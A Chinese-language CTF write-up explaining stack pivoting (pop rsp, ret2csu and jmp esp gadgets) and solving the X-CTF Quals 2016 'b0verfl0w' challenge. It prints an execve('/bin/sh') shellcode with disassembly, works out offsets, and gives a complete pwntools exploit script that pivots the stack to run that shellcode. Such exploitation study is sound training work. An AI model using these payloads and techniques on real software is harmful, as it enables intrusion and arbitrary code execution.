0x01 stack pivoting

stack pivoting,即劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行ROP。

什么情况下需要利用stack pivot?

  1. 栈溢出的字节比较少,无法直接利用溢出字节进行ROP;
  2. 开启了 PIE 保护,栈地址未知并且无法泄露,但是利用某些利用技术时必须要知道栈地址,就可以通过stack pivot将栈劫持到相应的区域;
  3. stack pivot能够使得一些非栈溢出的漏洞变成为栈溢出漏洞从而进行攻击,典型:可以将程序劫持到heap空间中;

stack pivot有什么利用条件?

1、存在内容可控的内存,位置已知,拥有读写的权限,有几个典型的位置可供选择:

(1)一个是bss段末有较大的空间,因为进程内存按页分配,分配给bss段的内存大小至少一个页(4k,x1000)大小,一般bss段的内容是用不了这么大的空间的,并且bss段分配的内存页拥有读写权限,是stack pivot的好目标;

(2)另一个是heap空间,这个不用赘述了,但是需要注意泄露堆地址;

2、控制rsp(esp)。一般来说,控制栈指针会使用 ROP,需要相应的Gadgets,常见的控制栈指针的Gadgets一般是:

1
pop rsp/esp

其中有一个最典型,在x64的libc_csu_init通过Godgets中,做一个适当偏移能够得到这样一个Gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mov    rdx,r13
mov rsi,r14
mov edi,r15d
call QWORD PTR [r12+rbx*8]
add rbx,0x1
cmp rbx,rbp
jne 405660 <__libc_csu_init+0x40>
add rsp,0x8
pop rbx
pop rbp offset: pop rsp
pop r12 pop r12
pop r13 pop r13
pop r14 pop r14
pop r15 pop r15
retn ret

可见其实就是ret2csu的经典Gadget,是一个pop rsp ret,如果将ret的地址改成leave ,ret,那么我们正常通过pop rbp;pop r12;pop r13;pop r14执行到返回时,将rbp中的值相应设置好也可以劫持rsp。

或者其他诸如add rsp,0x100等能够劫持rsp寄存器值的Gadget。

stack pivoting适用场景:

我们控制了橙色部分区域,但是中间有一段不可控制的内存,这时,我们需要控制rsp跳转到橙色部分,继续执行我们的Rop指令,这就是stack pivot,如下图是最简单的一种,通过add esp, 0x40c;ret的gadget来实现劫持栈指针:

以下的一些Gadgets都是可以通过对esp的操作来实现劫持栈指针:

0x02 X-CTF Quals 2016 - b0verfl0w

题目下载地址

运行程序,询问名字并输入内容,再输出出来;查看程序是个32位的动态链接文件;查看安全编译选项,发现啥都没开:

GDB计算溢出至ret处的偏移量为36:

打开IDA分析:

这里看到是通过fgets()来获取用户输入内容,存在明显的栈溢出漏洞,限定了只能输入50个字节;同时看到变量s相对ebp的偏移量为20h=16*2d=32d,再加上ebp的4个字节就和前面计算的溢出偏移量是一致的。

由此可以算出能够溢出的字节数为50-36=14。

shellcode选择

这里因为没有开启NX,所以我们可以直接在栈上写shellcode。

我们来看下pwntools的shellcode长度是多少:

1
2
ski12@ubuntu:~/ctf/pwn/stack$ python -c  "from pwn import *;print len(asm(shellcraft.sh()))"
44

可以看到是44个字节。而我们知道变量s处到ret处的偏移量为36个字节,是塞不下这个shellcode的。

那就换一个更简短的shellcode如下:

1
\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

看下该shellcode的长度:

1
2
3
4
5
6
7
8
9
10
11
12
ski12@ubuntu:~/ctf/pwn/stack$ python -c "from pwn import *;print disasm('\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80')"
0: 31 c9 xor ecx,ecx
2: f7 e1 mul ecx
4: 51 push ecx
5: 68 2f 2f 73 68 push 0x68732f2f
a: 68 2f 62 69 6e push 0x6e69622f
f: 89 e3 mov ebx,esp
11: b0 0b mov al,0xb
13: cd 80 int 0x80

ski12@ubuntu:~/ctf/pwn/stack$ python -c "print len('\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80')"
21

13h+2=15h=21d,即shellcode长度为21个字节,满足条件。

寻找Gadget

shellcode的问题搞定了,接着是ret处应该覆盖为shellcode的起始地址即ret2shellcode,但是这里有个问题,系统开启了ASLR,因此栈地址是随机的,我们无法预测。解决办法是利用相对地址即可,如上一节最后提到的几个对esp进行偏移量操作的Gadgets。

这里就用到经典的方法:jmp esp。

因为在函数ret的时候,esp刚好指向ret地址的下一个地址;而当我们找到如jmp esp的gadget并覆盖到ret地址时,就可以跳到下一个地址去执行这个gadget地址后面的指令。

搜索到了一个jmp esp的Gadget:

找到目标Gadget为0x08048504。剩下的后面的指令就是需要ret2shellcode执行了。

那么可以知道我们构造的payload其结构如下:

1
shellcode|padding|fake ebp|jmp esp|set esp point to shellcode and jmp esp

参考前面小节提到的几个Gadgets,我们可以通过sub esp, 0xXX;jmp esp这个来实现ret2shellcode,因为我们没有办法直接ret到指定的shellcode代码处(原因是ASLR),只能通过相对地址的方式实现跳转;这里就用sub esp, 0xXX来实现相对地址的跳转,因为当前esp指向本地址,而我们可以算出shellcode起始地址里该地址的相对偏移量为20h(shellcode+padding)+4(fake ebp)+4(jmp esp)=28h,当使用sub esp, 0x28时可以使esp指向shellcode起始地址处 ;最后在jmp esp跳转至修改后的esp指向的地址即shellcode起始地址。

简单地说,就是将修改esp指向shellcode起始地址,然后再跳到esp指向地址去执行从而执行shellcode。

现在我们再算下整个payload的长度,我们已知shellcode起始地址到最后sub esp, 0x28;jmp esp这段Gadget处的偏移量为28h=40d,而这段Gadget的长度如下:

1
2
ski12@ubuntu:~/ctf/pwn/stack$ python -c "from pwn import *;print len(asm('sub esp, 0x28;jmp esp'))"
5

整个长度为40+5=45<50,满足只能输入50个字节以内内容的限制。

整个payload结构如下图所示:

编写payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p = process("./b0verfl0w")

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

sub_esp_jmp = asm("sub esp, 0x28;jmp esp")
jmp_esp = 0x08048504

payload = shellcode.ljust(0x20, "A") + "BBBB" + p32(jmp_esp) + sub_esp_jmp

p.recvuntil("name?")

print "[*]sending payload..."
p.sendline(payload)
p.interactive()

0x03 参考

stack pivoting

ROP and DEP